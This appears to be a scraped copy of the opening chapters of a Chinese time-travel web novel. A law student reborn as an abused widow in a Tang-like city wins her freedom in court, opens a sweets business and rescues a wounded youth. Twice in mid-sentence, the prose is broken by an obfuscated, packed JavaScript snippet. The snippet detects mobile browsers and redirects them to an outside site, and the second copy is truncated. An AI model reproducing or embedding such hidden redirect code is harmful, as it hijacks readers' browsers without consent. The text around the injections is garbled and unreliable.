《桃花深处点心铺》 1. 对簿公堂 “下作的丧门星！给自家爷们守灵还敢偷懒！看我今日不打掉你一层皮！” 裴清梧懵懵懂懂地醒来，还未反应过来发生了何事，兜头便挨了两巴掌，登时两颊一阵火辣辣地痛，高高肿起，让还有些迷糊的她，一下子彻底清醒过来。 入目，似乎是一间古代的灵堂，白色的招魂幡随着风飘动，挽联长长坠地，正中停着一口薄木棺材，浓郁的檀香味一个劲往裴清梧鼻子里钻。 “小丧门星，你哑巴了？” 说话的是个衣着素净的中年妇女，满面横肉，一脸凶相，见裴清梧还在发愣，抬手又要打。 这一回，裴清梧虽未弄明白发生了何事，但也不杵在那里挨打了，偏头一躲，那妇人的巴掌落了空，一双眼瞪得滴溜圆，怒道：“好哇，越来越没有规矩了，今日我若不打死你，便枉做你家姑了。” “且慢！” 眼见她要动真格，裴清梧忙喊了一嗓子：“这是哪里？！你凭什么动手打人？信不信我报警啊。” 一边说，一边去摸兜里的手机。 却什么都没摸到，衣服上根本没有兜，反而是粗糙得扎人的麻布料子，裴清梧僵硬地往下看去，白裙上覆着层黄色的麻，显然是丧服模样。 哎？这是给她干哪儿来了？ 她的确是在过马路的时候，被一个探头杀的司机创飞了出去，可她不应该在医院接受抢救吗？为什么在这样一个古色古香的灵堂，还要挨打？手机都找不到了。 那妇人闻言，冷笑道：“你这小蹄子最刁钻，还敢装疯卖傻，正好，我最会治疯病，打一顿扔到外头湖里，什么都好了。” 说着，她就要来扯裴清梧。 许是做惯了农活，这妇人手劲极大，裴清梧一时竟挣脱不了，眼见毒打要落到自己身上，外头传来一声呼唤：“阿娘。” “哎，找阿娘何事。”妇人登时变了脸，笑吟吟地应答外头。 “阿娘您出来，儿子有话要说。” “好好好，阿娘这就来。”妇人理了理衣裳，转身欲出去，又回头瞪了裴清梧一眼：“小蹄子，老实跪着，一会儿再来收拾你。” 说罢便离去，留裴清梧一人傻在原地。 陌生的记忆如潮水一般，在她脑中奔涌，即便撞得隐隐作痛，她还是努力整理着所有思绪。 在现代，她是某政法大学的硕士研究生，很小的时候就父母离异，母亲一个人带她艰难生活，靠一间小小的点心店供她读书，出事也是因为急着回家给母亲帮忙，没留意到路上的“鬼探头”。 而这具身子同样姓裴，名三娘，秦州人士，自幼父母双亡，由叔父抚养长到如今十六岁，由叔父做主，许配给同乡孙家大郎孙简。 孙家薄有田产，日子相对一般人家来讲殷实一些，乍一看去处极好，但这孙简自幼体弱多病，娶亲也是因为冲喜，心疼自己女儿的人自然不愿意，唯裴叔父收了两袋白面，就把侄女嫁了过去。 谁承想洞房花烛夜，孙简一见团扇之下，是个花容月貌的美娇娘，又惊又喜，心绪荡漾间，竟然一口气没提上来，晕死了过去，不治身亡，喜事当场变丧事。 孙简娘刘氏哭得晕了过去，满腔火气，尽数撒在了新妇身上，守灵这几日，对她是又打又骂，只给稀得能照见人影的薄粥，一日还只一顿。 想来，是原身因为这些磋磨香消玉损，才让她裴清梧穿了过来。 理清了来龙去脉，裴清梧重重地叹了口气：“这是什么日子啊……” 若是现代，丈夫没了就没了，一走了之最多受点指谪，被说几句也掉不了肉，可古代，情况就复杂了，若是那种深受程朱理学影响的时代，自己得为这薄棺里的死鬼守一辈子。 刻薄的婆母，不安好心的叔父，无依无靠的自己……还不如现在就一头碰死在这里，说不定还会回到现代。 思绪万千间，裴清梧正准备试试，刘氏却又回来了，身后还跟着个二十来岁的男子，精瘦如猴，应当是孙家二郎，孙简的弟弟孙成。 他甫一进来，那眼神便黏着裴清梧，令她背上一阵恶寒，险些当场呕出来。 “不是叫你好好跪着吗？呆在这里作甚，果真是没有爷娘教导，不知规矩。”刘氏见她立在棺旁，登时蹙眉训斥。 “阿娘，你先跟大嫂说正事。”孙成忙阻拦道。 一听刘氏的话语，裴清梧就窝了火气，又听孙成这么说，心知就没好事。 刘氏清了清嗓子：“老大媳妇，你本就是嫁于我家为新妇的，如今大郎没了，可我家还有二郎，虽说你命不好，二郎也喜欢你，他终究要考取功名，你给他做个妾，也不算辱没了你。” “是啊，大嫂，你便跟了我，我会对你好的。”孙成立刻道，眼神下流地自裴清梧身上滑过。 裴清梧只觉是羞辱，火气越发上涌，她攥紧了拳头，高声道：“我不愿意！” “不愿意？你莫不是以为这些事情是由着你的？你既卖给我们孙家了，生是孙家的人，死是孙家的鬼，让你做妾都是抬举了你，再不识好歹，便让你给我家二郎做个通房丫头。”刘氏三角眼一立，仿佛听见了天大的笑话般。 孙成在一旁搓着手，得意地附和：“是啊大嫂，莫要不识抬举，跟了我，保你衣食无忧，强过守寡。” 裴清梧气归气，脑子却转得极快。 从这些人的称呼、孙成身上的圆领袍，以及原身残存的记忆来看，这个朝代很像唐朝，那么，事情就好办了。 她深吸了一口气，清泠泠的目光扫过这对母子：“家姑此言差矣！我今日便与家姑叔叔辩一辩这国朝的律令！” “其一，《户婚律》载，‘诸夫丧服除，而欲守志，非女之祖父母、父母而强嫁之者，徒一年，期亲嫁者，减二等，杖九十’，如今夫丧未除，孝期未满，家姑却强逼我转嫁二郎，此乃触犯律法之举。” “其二，‘妇人夫丧服除，誓心守志，唯祖父母、父母得夺而嫁之。’我父母早亡，叔父也无权再过问我归宿，是以待我守孝期满，是守是嫁，全凭我心意。” “其三，‘若婢有子及经放为良者，听为妾。’我乃良家子，明媒正娶为□□室娘子，岂有强夺嫡长宗妇为妾、甚至为婢之理？此乃悖逆人伦，蔑视礼法！若传扬出去，叔叔还想考取功名？怕是连童生试的门槛都摸不着！官府第一个便要革了他的应试资格！” 这一番话，引经据典，条理分明，竟将泼辣蛮横的刘氏震得一时语塞，孙成脸上的得意也僵住了，目露惊惶。 刘氏愣了半晌，猛地回过神来，恼羞成怒，撒起泼来：“放屁！什么律法？吓唬谁呢！清官难断家务事！老娘管教自家媳妇儿，天王老子也管不着！官府吃饱了撑的管我家事？” 说着，她挽起袖子，又要扑上来揪打：“看老娘今日不撕了你这张刁嘴！” 裴清梧一直紧盯着刘氏的动作，见她果然恼羞成怒要动手，心知机会来了。 就在刘氏肥硕身躯扑过来的刹那，裴清梧如同灵巧的狸猫，猛地侧身一让，刘氏收势不及，一个趔趄差点摔倒，趁机拔腿就跑，朝着灵堂敞开的大门冲了出去。 “救命啊！孙家逼死新寡！强抢宗妇为妾！触犯国法！草菅人命啊——！” 凄厉的哭喊声瞬间划破了秦州城内坊间的午后宁静。 裴清梧冲出孙家大门，泪如雨下，发髻散乱，脸上红肿的掌印清晰可见，一身孝服更衬得她楚楚可怜，她扑倒在人来人往的坊街上，对着惊愕驻足的邻里百姓、商贩行人，捶胸顿足，声泪俱下：“各位高邻！各位乡亲父老！天理何在啊！小女子裴三娘，新寡在身，夫尸骨未寒！家姑刘氏便强逼奴家转嫁小叔为妾！奴家不肯，便遭毒打辱骂，饿饭数日！今日更欲将奴家强抢为婢！小女子愿以死明志，也不受此奇耻大辱，违逆国法啊——！” 说罢，她掩面自泣。 一时间，坊街上议论纷纷，指指点点。 孙家之事邻里早有风闻，如今见新妇如此凄惨情状，又口口声声控诉国法被犯，同情与义愤，迅速在人群中蔓延。 “岂有此理！竟有这等事！” “逼新寡嫂子嫁小叔？忒不要脸！” “快去报官！找里正！” 刘氏和孙成气喘吁吁地追出来时，见此情景，更是气急败坏，老虔婆当即上前，指着裴清梧破口大骂：“小贱人！休要在此胡言乱语，污我孙家门楣！快跟老娘回去！” 说着就要上前拉扯。 裴清梧自然不肯，挣扎着哭诉：“我不要！没有丈夫孝期未除，就逼着新妇嫁小叔子的道理！我虽无爷娘教导，却也做不出这等丢人现眼的事！” 听是凌逼孤女，街坊间议论声更大，刘氏自觉面上无光，拉扯得更厉害。 就在混乱之际，只听人群中传来一声威严的断喝：“住手！” 众人循声望去，只见一须发皆白、身着整洁细葛深衣的老者拄着鸠杖，在仆从的搀扶下走出人群，他面容清癯，目光炯炯有神，自有一股不怒而威的气度。 “光天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230889|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化日，朗朗乾坤！岂容尔等恃强凌弱，悖礼枉法！”老者声音洪亮，直视刘氏母子：“老夫乃前州衙司户佐史，致仕归田于此，这位小娘子所言律法，句句属实！事关国法，岂是一句家务事便能搪塞过去？” 说罢，他转向泪眼婆娑的裴清梧，眼中带着赞许和怜悯：“小娘子莫怕，你既熟读律令，知晓以法护身，甚好，老夫为你作保，即刻前往州衙鸣冤！官府自有公断！” 老者的话语如同定海神针，围观人群纷纷响应，嚷嚷着告官去。 裴清梧心中大定，深深向老者拜了下去：“多谢老明府仗义执言！小女子愿随老明府往州衙陈情！以正国法，以明冤屈！” 秦州州州衙门前，登闻鼓声震天，守门胥吏见张公气度不凡，又有众多义愤填膺的街坊簇拥，不敢怠慢，即刻通禀。 少顷，州衙正堂大门洞开，秦州赵使君高坐堂上，面沉似水，衙役分列两旁，水火棍杵地，肃杀之气顿生。 刘氏孙成母子被衙役带上堂来，初时还兀自强横，待见了森严公堂，气焰先自矮了三分。 “堂下何人？所告何事？击鼓鸣冤者，若有虚言，反坐其罪！”赵使君声音威严，目光如炬扫过堂下。 张公深施一礼：“使君容禀！老朽张俭，此乃苦主裴氏三娘，新寡之妇，其所告者，为夫家孙刘氏、孙成母子二犯，街坊邻里皆为见证，恳请使君明察秋毫，为苦主伸张正义，以正国法家规！” 裴清梧亦盈盈下拜，泣声陈情：“青天使君在上！民妇裴三娘，状告家姑刘氏、小叔孙成凌逼孤寡，触犯国法，夫亡七日，尸骨未寒，孝服在身，舅姑刘氏便威逼民妇转嫁小叔为妾！民妇据理力争，彼等非但不听，反诬民妇装疯卖傻，毒打羞辱，数日仅以稀粥吊命，今日更欲行强抢！若非民妇拼死逃出，当街呼救，得蒙张公及众高邻仗义援手，此刻恐已遭不测！求使君为民妇做主！” 言毕，她抬起头，脸上掌痕红肿未消，孝服单薄，身形摇摇欲坠，凄楚之状，令人恻然。 “一派胡言！刁妇信口雌黄！”刘氏按捺不住，扑通跪下，手指裴清梧，唾沫横飞：“使君老爷！休听这小贱人血口喷人！她命硬克死我儿，老身念她是新妇，留她在孙家守灵，已是天大恩典！她不思感恩，守灵懈怠，老身身为舅姑，教训儿媳，天经地义！何来毒打虐待？至于逼嫁二郎……” 她眼珠子一转：“那是二郎见她年轻守寡可怜，愿意收留她做个屋里人，是她自个儿不识抬举，反诬我等逼嫁！分明是她守不住，起了外心，在此颠倒黑白！” 孙成也慌忙磕头：“使君明鉴！学生孙成，确是一片好心，是见大嫂孤苦，学生不忍她流落，才提了纳她为妾，绝非逼迫！是她误解了学生好意……” 说话间言语闪烁，眼神飘忽，显然底气不足。 赵使君眉头紧锁，看向张公：“张老佐史，依你之见？” 张公拱手，朗声道：“刘氏与孙成之行径，视国法如无物，视礼教如敝履！若不严惩，何以正纲常，儆效尤！” 说着，早有准备的几位街坊被带上堂，七嘴八舌，将刘氏平日与今日行径，裴娘子如何反抗与哭诉，一一细述。 “人证物证俱在，尔等还有何话说？”赵使君惊堂木一拍，声震屋瓦。 母子二人面如土色，浑身筛糠，刘氏犹自嘴硬：“邻里嚼舌根罢了……这……这都是家务事……” “住口！”赵使君厉声打断：“无知蠢妇！国法昭昭，岂容家务事三字搪塞？尔等行径已是触犯刑律！恃强凌弱，欺凌孤寡，践踏纲常，蔑视律法，实乃刁顽之极！” 沉吟片刻后，他心中已有决断，着令当堂重笞刘氏母子二十，以儆效尤。 闻言，衙役上前按住刘氏母子，水火棍落下，杀猪般的嚎叫顿时响彻公堂。 行刑毕，两人瘫软在地，面无人色。 赵使君继续宣判：“裴三娘，本府悯尔孤弱，更嘉尔通晓律令，能以法护身，志节可嘉！特恩准尔携自身嫁妆，脱离孙氏宗族，自立女户！” 裴清梧心中狂喜，面上却强自镇定，深深叩首：“民妇裴三娘，叩谢使君天恩！使君青天！” 赵使君复又看向面如死灰的刘氏母子，令他们将裴清梧的嫁妆尽数返还，又令二人不得侵扰裴清梧。 当即就在秦州官衙，裴清梧立了女户，用的便是自己现代的名字，昭示着她与那个受尽欺凌的裴三娘，再无任何干系。 她的嫁妆也尽数返还，虽廖廖无几，却也好过身无分文。 2. 捡到男人 走出威严的州衙大门，午后的阳光暖洋洋地洒在身上。 “多谢张公再造之恩。”裴清梧学着电视剧里万福礼的模样，朝张公一拜，感激之情溢于言表。 张公捋须微笑，眼中满是赞赏：“小娘子不必多礼，你能于绝境中寻得律法为刃，护己周全，老朽不过是顺天理，助公道罢了，前路虽艰，然自立女户，终得自由之身，望你好自为之，善用此身才智。” “张公教诲，三娘铭记于心。”裴清梧郑重应下，她捧着那微薄的嫁妆，在众人目送下，一步一步，坚定地走向坊门。 刘氏母子怨毒的目光还死死钉在她身上，不过，一切都与她无关了。 裴清梧的嫁妆，换成钱财，拢共折合三贯钱，也就是三千文，先换掉了身上的丧服，而后找了家客栈，暂且住下。 张公说得对，前路艰险，她须好好作打算。 法硕的身份，在这里应当使不上，她通晓的，更多是21世纪的律法，何况衙门里那么师爷，想来赵使君也不要一个弱女子。 而她一个文科生，也不会做什么香皂玻璃，更不会提取精盐，至于什么去青楼当花魁，她还真没那个胆子…… 愁苦之际，房门被敲响。 来的人是客栈的小二，手里端着一碟精巧的点心，笑吟吟道：“裴娘子，我家老板送了些点心来，给裴娘子尝尝，客栈简陋，娘子莫要嫌弃。” 碟子里，静静躺着几枚小巧玲珑的点心，宛如凝脂白玉，细腻温润，形若微绽的花苞，隐约可见内里柔嫩的馅料，表面还用精巧的模具压出了极细密繁复的花纹，花瓣脉络清晰，宛如晨露凝结其上，在午后的光线里泛着柔和的光晕。 玉露团！ 裴清梧心中瞬间跳出这个名字。 因为母亲开点心店的缘故，需要开发新口味，便经常翻阅古籍，从那些工艺繁复的古典点心中获取灵感，她在母亲身边跟着，自然也知道了不少。 这玉露团传说中是宫廷御膳的珍品，她曾在书中见过图片，也尝试过复原，没想到在这里，竟能亲眼见到如此标准的一碟玉露团。 她忍不住凑近细看，连日来的愁苦，仿佛都被这碟精致的点心驱散了几分。 一个念头如闪电般击中了她，瞬间照亮了前路的迷雾。 她会这个啊！从小时候给母亲帮厨开始，她算浸淫烘焙多年，对各种点心的配方、火候、造型有着深入的研究和实践，从欧式面包到苏式月饼，从法式甜点到广式茶点，她都曾痴迷钻研过。 眼前这玉露团虽古雅，其基本原理也不过米浆蒸制、模印成型、甜馅调和，不正与后世诸多糕点一脉相承吗？只不过用料更天然，工艺更古朴罢了，在现代积累的经验和跨时空的见识，正好可以在这个领域施展。 “这、这是玉露团？”裴清梧目光灼灼地看向小二：“做得太精巧了。” 小二见客人识货且喜欢，笑容更盛：“娘子好眼力，正是咱东家铺子里最拿手的玉露团，用的是上好的糯米磨浆，蒸出来淋上槐花蜜浆，最是清甜不腻口。” “怎会嫌弃！实在太过精致美味了。”裴清梧由衷赞叹，心中那个念头越发清晰坚定。 开个点心铺，成本不会太高，而且大可以效仿现代，房子一分为二，后院作日常起居之处，每日做好些点心，在前院售卖，能节省不少开支。 说干就干，裴清梧简单收拾了一下，便出门找牙行的人帮忙。 自古以来，中间商都是要赚差价的，但没办法，她初来乍到，压根就不太能明白个中关节。 秦州乃是丝路重镇，陇右商道咽喉，商贾往来，物价并不便宜，哪怕是租，花费都不少，在牙行的帮助下，裴清梧在城南安业坊，寻到了一个临街的小院子。 说是院子，其实就只有三间房子，陈设简陋，主体是砖灰结构，马上要入冬，这样的房子，住着便不算难捱。 房租是三百文一个月，裴清梧一口气缴纳了半年的租子。 不论怎样，先把冬日度过去再说。 安业坊乃商业区，房租不便宜，若是往永宁坊这样的居民区去，价格会再低一些，可那里生意便不好做了；另有大市坊，那里胡商聚集，房租较低一些，牙行的人也给裴清梧推荐过，但被她一口回绝。 无他，大市坊西南曲巷，乃是青楼赌坊之地，奸近杀，赌近盗，自古这些地方就是是非之地，裴清梧独身一个小娘子，哪敢往这种地方去。 钱可以挣，命没了，那可一切都完了。 交完租子，还剩下九百余文，裴清梧顾不上用饭，脱了鞋坐在床榻之上，取了一页桑纸，细细规划。 古代歧视商户，可做什么不是活着，只要能赚到钱安身立命，一切都好说。 做餐饮业，创意是最重要的，秦州并不缺卖点心果子的铺子，人家的师傅浸淫糖案许久，早已炉火纯青，她才不要跟人家硬碰硬，不如另辟蹊径，做一些这个时代没有的东西。 那，要做什么呢？ 正苦恼间，听得院门被轻轻叩响，裴清梧起身出去，将门开了一条小缝，隔着望去，原是一个挑着担子的老翁，满头银发，身形佝偻，见她开门，面上挤出一个笑容：“小娘子，要买些饧糖吃么？自家做的，可甜了。” 说着，老翁掀开担子上盖着的白布，露出下边的糖块来，晶莹剔透的，犹如上好的琥珀。 饧糖，应当就是麦芽糖了，唐时虽已从印度引入蔗糖技术，但因麦芽糖价廉易制，仍是民间主流，一直到上世纪七八十年代，都是嗜甜星人的心头好。 小时候，外婆就会熬麦芽糖，每每熬糖，都是满屋子的甜香，出锅之后，母亲会教她拉糖，刚开始笨手笨脚的，扯断好几根。 尘封的记忆瞬间被唤醒，裴清梧灵光一现，忙问道：“阿翁，你这些饧糖全卖给我，要多少钱？” 老翁一愣，似乎是没想到这一出，裴清梧又追问了一遍，方才说：“小本生意，小娘子若要，给八十文就好。” 掐指算了算，裴清梧爽快道：“好。” 担子里的麦芽糖被老翁尽数摆在了案头，裴清梧数了钱递过去，又掏了两枚铜板给他：“有劳阿翁，这些，便请阿翁喝口茶。” 比起古装剧里动不动拿金子银子打赏的高门贵女，裴清梧是有些寒酸了，可于老翁而言，今日不仅东西全卖出去了，能早些归家，那两枚铜板还可换些零嘴，哄年幼的孙孙开心，自然是连声道谢，感激不尽。 盯着这些麦芽糖，裴清梧想好了自己要做什么。 龙须酥，明代宫廷点心，这个时代肯定没有，且原料简单易得，不过是熬化了的麦芽糖和炒熟的糯米粉，且千丝万缕，洁白如雪，入口即化，是个好看又好吃的东西。 说干就干，裴清梧当即出门，将所需物品一一备齐。 袖中余钱叮当作响，是她孤注一掷的本钱。 当夜，一盏孤灯如豆，摇曳在陋室土墙之上。 裴清梧洗净陶盆，将麦芽糖细细敲碎，倾入小釜，就着灶下微火耐心熬煮，待糖浆渐稠，气泡翻滚如金粟，甜香四溢时，觑准火候，将滚烫糖浆猛地倾入盛满熟麦粉的宽沿陶盆中。 十指翻飞如蝶，汗水浸湿了鬓角，糖团在熟粉中反复揉擀、拉扯、叠覆……麦粉如雪纷扬，糖浆竟真被她抽作万缕银丝，再将那炒香的胡麻碎屑均匀撒入糖丝之中，以桑皮纸小心裹卷，两端轻捻封口，一枚枚形若雪茧、银丝毕现的“龙须酥”便静静卧于案头。 整整三百枚，宛如巧手织就的琼苞玉蕊。 她又单拿了几枚出来，切成小块，用荷叶托着，作免费试吃品，人对新东西总是有顾虑的，且不要钱的喧头，无论哪朝哪代，都极吸引人。 做完这一切后，裴清梧沉沉睡去。 五更鼓歇，坊门初开，她担起两只竹筐，步履轻捷地汇入安业坊西南隅的露水市。 此地乃清晨草市，贩夫走卒云集，她寻了块略平整的青条石，卸下担子，将竹筐并排支开，然后取十余枚龙须酥，以削尖的细竹签稳稳插在筐沿，宛如一丛晶莹剔透的玉树琼枝。 随即扬声清唤：“奴家新做的点心，甘甜胜崖蜜，酥松赛流云！还请过往郎君娘子，赏脸尝鲜，分文不取！” “分文不取”四字，如同投入静水的石子。 先是三俩行人驻足，好奇张望，而后有一位衣着体面的商人驻足询问：“小娘子这是何物？看着洁白胜雪，好看得紧。” “是我自己做的龙须酥，又叫银丝糖，郎君尝尝吧。”裴清梧带着笑，取了一小块试吃装递给他，那人小心翼翼咬下一口，那千丝万缕的糖丝在口中蓬松化开，胡麻的焦香与蔗糖的甘醇瞬间交融。 瞬间双目圆睁，脱口赞道：“妙哉！此物只应天上有，甘露凝丝化凡尘。” 这一声赞，立时引来更多围观。 眼见人群聚集，目光灼灼，裴清梧心知火候已到，举起三根纤指：“承蒙列位看顾，此龙须酥三文一卷，五文可得双标滋味如何，您尝过便知，” 话音未落，铜钱已叮当入筐，妇人为孩儿解囊，商贾购之以饷同伴，顷刻间便卖去大半。 日影西移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她犹疑着上前，那少年听见动静，微微抬起头来，面白如金纸，额角淌下血痕模糊了眉眼，但那双眸子依旧亮得惊人，像极了濒死独狼被逼至绝境时燃起的最后两点幽绿鬼火。 道上不成文的规矩，路边的男人不能捡，轻则虐身虐心，重则嘎你全族，何况少年这副惨状，明显是被人打的，或是有仇家，或是大户人家的逃奴…… 裴清梧不想惹上麻烦。 可见他渐渐失了力气，不再呼救，头往旁边一歪，出气多进气少的模样，裴清梧实在做不到见死不救。 “算了算了，谁叫姐姐心善……”她认命地叹了口气，而后用尽全身力气，半拖半抱，将那昏迷的少年拖回了自己那方小小的院落。 关紧院门，落了闩，她才敢长长吁出一口气。 顾不上喘口气，便打来清水，剪开那件几乎被血浸透的衣服，布料粘连着皮肉，裴清梧只能用温水一点点濡湿，小心翼翼地剥离。 饶是做足了心理准备，当衣衫褪下，露出少年单薄却伤痕累累的身躯时，她还是倒吸了一口凉气，指尖冰凉。 遍布鞭痕，新旧交织，有些深可见骨，皮肉翻卷处渗出浑浊的脓血，还有大片的青紫淤伤高高肿起，左臂一道狰狞的刀口斜劈而下，皮开肉绽，肩颈处还有烙铁留下的焦黑印记，形状模糊，却散发着皮肉焦糊的恶臭…… 更别说那些密密麻麻的擦伤、掐痕，几乎寻不到一块好皮肉。 裴清梧强压下翻涌的恶心与怜悯，拿起干净的布巾，蘸着清水，开始一点点为他擦拭，动作轻柔得不能再轻柔。 待脸庞的血污尽去，一张惊人秀美的容颜展露在昏黄的油灯光下。 肌肤是失血过多的惨白，却难掩如玉的细腻光泽，眉眼精致如妙手丹青细细勾勒，长长的睫羽在眼下投下一小片阴影，唇色极淡，微微抿着，透着一股不屈的倔强。 若非那身明显属于少年的骨架，乍一看，真会误以为是位绝色佳人。 “这般容貌……莫非……”裴清梧想起关于古代达官贵人的一些事，一股无名怒火混杂着更深的怜惜升腾起来。 顾不得欣赏这惊为天人的美色，裴清梧找出自己包袱里仅有的干净细麻布，又咬牙去灶下取了少许干净的草木灰权作简陋的止血消炎之物，刚将其轻轻敷在少年身上时—— “砰砰砰！砰砰砰！” 院门突然被拍得震天响，粗鲁蛮横，力道之大，仿佛要将那单薄的木门砸碎。 旋即，一个粗嘎的男声带着十足的戾气在门外高喊：“裴家小娘子！开门！你今日卖的那劳什子点心吃坏了人！肚子疼得打滚，快开门给个说法！” “快开门！莫不是做贼心虚，想躲起来不成？”另一个尖利的声音加入了叫嚷。 榻上的少年似乎被这巨大的喧嚣惊扰，浓密的睫羽剧烈颤动了几下，却没能睁开眼，只是发出几声微弱痛苦的呓语。 3. 做我护卫 骤然听到这动静，裴清梧手一抖，草木灰差点撒到地上。 点心吃坏了人？她对自己的手艺和食材来源一清二楚，绝无可能！ 门外叫骂声愈发响亮，夹杂着不知真假的呼痛声，和更多看热闹的窃窃私语，显然是引来了街坊围观。 裴清梧强迫自己冷静下来，迅速扯过一块干净的布巾，盖住少年裸露的上身和狰狞的伤口，又将沾满血污的破衣和布巾塞到床榻最里面藏好。 做完这些后，她站起身，理了理自己的衣裙，努力让声音听起来平稳，对着门外扬声道：“门外何人喧哗？讲些道理！奴家的点心清白干净，何曾吃坏了哪位？若要理论，待奴家开了门，你且说个明白。” 门外的喧嚣如沸水般翻腾，裴清梧深吸并未全开门扉，只谨慎地将门栓拉开寸许，露出一道窄缝，身子半掩其后，透过缝隙向外扫视。 只见门外立着一对粗布麻衣的夫妇，男人面色焦黄，人高马大；旁的妇人则坐在一边哭天抢地，拍着大腿连声哀嚎：“天杀的！黑了心肝的贼妇啊！我儿吃了你的点心，如今疼得死去活来，眼看就要坏了性命！你赔我儿命来！” 再一看，地上果然蜷着一个半大少年，约莫十三四岁，双手死死捂着肚子，在地上翻滚叫唤，声音凄惨，引得围观的街坊邻居指指点点，议论纷纷。 裴清梧看着那男人凶神恶煞的模样，眉眼轮廓似有几分眼熟，但此时，实在是想不起来了。 她稳住心神，隔着门缝，声音不高却字字清晰：“这位郎君、娘子，稍安勿躁。” “尔等口口声声言道奴家点心坏了令郎，空口白牙，可有凭据？秦州城百万之众，食奴家点心者不知凡几，何曾听闻有半点差池？” “令郎此刻症状，腹痛难忍，究系何时发作？是食点心后几时几分？所食几何？可有他人同食而安然无恙者？腹痛是绞是胀？可有腹泻、呕吐、发热之状？家中饮食可有其他异常？” 她一连串冷静的追问，瞬间让门外哭骂的妇人噎了一下，连地上翻滚的少年叫唤声都似乎弱了几分。 那汉子显然没料到这看似年轻娇怯的小娘子竟如此伶牙俐齿，句句问到要害，且神态镇定，毫无慌乱，脸色涨得更红，眼神闪烁，恼羞成怒之下，蛮横之气陡生：“好个牙尖嘴利的贱妇！休要东拉西扯！我儿吃了你的毒点心，此刻便要死了！你躲着不见人就是心虚！快开门赔我儿命来！” 他一面咆哮，一面竟不管不顾，抬脚就朝那仅开一线的门缝猛地踹来，蒲扇般的大手也伸进来欲强行扒开门扇，口中兀自不干不净地咒骂：“今日不开门，老子便砸了你这黑店！定叫你吃不了兜着走！” 裴清梧心头一凛，暗叫不好。 这莽汉分明是要借机生事，强行闯入！ 她下意识后退一步，正欲呼救或寻求防身之物时，一股带着浓重血腥气的劲风，陡然从裴清梧身后的昏暗处卷出。 颀长的身影踉跄着挤到了门前，挡在了裴清梧身前，正是那重伤的少年郎。 不知何时，他挣扎着从床榻上起身，苍白的脸上布满冷汗，嘴唇毫无血色，显是强忍着剧痛，伤口似被再次撕裂，又渗出血迹，染红了布巾，眼眸如幼兽般的凶悍，死死盯住外头的人。 这倒罢了，他手中还紧握着一柄闪着幽冷寒光的菜刀，刃口磨得雪亮，横在那狭窄的门缝之前，直指欲闯入的男人鼻尖。 一时间，万籁俱寂。 少年喉咙里发出嘶哑低沉的咆哮：“滚！” 那汉子猛地对上这双眼睛，如同被毒蛇盯住，浑身汗毛倒竖，伸出去的手硬生生僵在半空。 “你……你是何人？！”汉子声音都变了调，色厉内荏地吼道，脚下却不由自主地后退一步，连带他那哭嚎的婆娘和地上打滚的少年都吓得噤了声，惊恐地看着门缝里突然出现的煞星。 围观的人群也发出一片惊呼，窃窃私语声浪陡然大了起来，潮水一般铺天盖地，分辨不清。 最惊讶的还是裴清梧，万万没想到这重伤濒死的少年竟能强撑着站起来，更没想到他会以如此激烈的方式护在自己身前。 下意识想扶住他摇摇欲坠的身体，却又不敢轻动，生怕刺激到门外或他本身。 趁着门外夫妇被这突如其来的凶悍震慑得不知所措，裴清梧心念电转，迅速抓住这短暂的气势压制机会，声音陡然拔高：“尔等看见了！私闯民宅，意图行凶，更有讹诈之嫌，我裴清梧行得正坐得直，点心清白，天日可鉴！若尔等真觉小儿有恙，大可去寻坊正，而后让医工验看分明，亦或直赴秦州州衙击鼓鸣冤，自有律法公断。” “然若再敢在此胡搅蛮缠，煽动乡邻，甚至意图破门毁物、伤人害命……”她顿了顿，目光扫过少年手中寒光闪闪的菜刀，带着几分狐假虎威的气势：“《律疏议》载‘无故入人家者，笞四十，主人登时杀者勿论’，尔等白昼行凶，众目睽睽，强闯民宅在先，若再敢逾越雷池半步，今日后果，尔等自负！”① 黄脸汉子脸色煞白，冷汗涔涔而下，他本就是临时起意想来讹一笔钱财，哪曾想撞上如此硬茬？这架势，别说讹钱了，再待下去怕是小命都难保！ “疯、疯子！都是疯子！”汉子色厉内荏地吼了一句，再不敢停留，拉起同样吓得腿软的婆娘，在围观人群更加喧哗的议论、指点甚至隐隐的哄笑声中，如丧家之犬般仓惶挤开人群，狼狈遁走。 地上少年见靠山跑了，也赶紧爬起来，灰溜溜地跟着溜之大吉。 只留下门外一群惊魂未定又众议纷纷的街坊。 少年本就是强撑着起身，此时撑不住了，手中的菜刀终于无力地垂下，“当啷”一声掉在地上，同时身体一软，向后栽倒。 裴清梧眼疾手快，急忙张开双臂，勉强接住了他，鲜血再次从布巾下渗出，浸染了裴清梧的衣袖。 她再顾不上门外议论纷纷，咬着牙把这人又拖了回去。 这么个情况，估计简单的草木灰敷一敷是不顶用了，裴清梧也只能排出几枚铜钱，请了位郎中上门。 那郎中显也是没见过这么重的伤，细细把过脉后，略一沉吟，低声道：“娘子可否借一步说话。” 裴清梧知道不好，看了一眼犹双目紧闭的少年后，随着郎中出去。 “小娘子收留这人，恐是惹上了麻烦。”甫一到院子里头，郎中便急切道：“好些伤痕，非刑罚不得致，有些……看着倒像是，花楼的鸨母们惩戒不听话之人的手法。” 裴清梧倒吸一口凉气。 看来她之前隐隐约约的猜测没错，古人在某些方面玩得很开，男女不忌，这少年生的漂亮，难保不会被有心之人盯上，可谁会愿意做那等营生呢。 “郎中只需告诉我，他这一身伤，可能养回来？” “能是能，到底年纪小，底子不差，好生休养几天，是能养回来的，只是……”郎中话未说完，估摸着也是说，医药花费不小，且这人极易惹麻烦。 “都需要什么药，郎中尽管开口吧。” 到底人是她捡到的，她做不到见死不救，且今日若不是有他，自己难保真被那大汉讹上了。 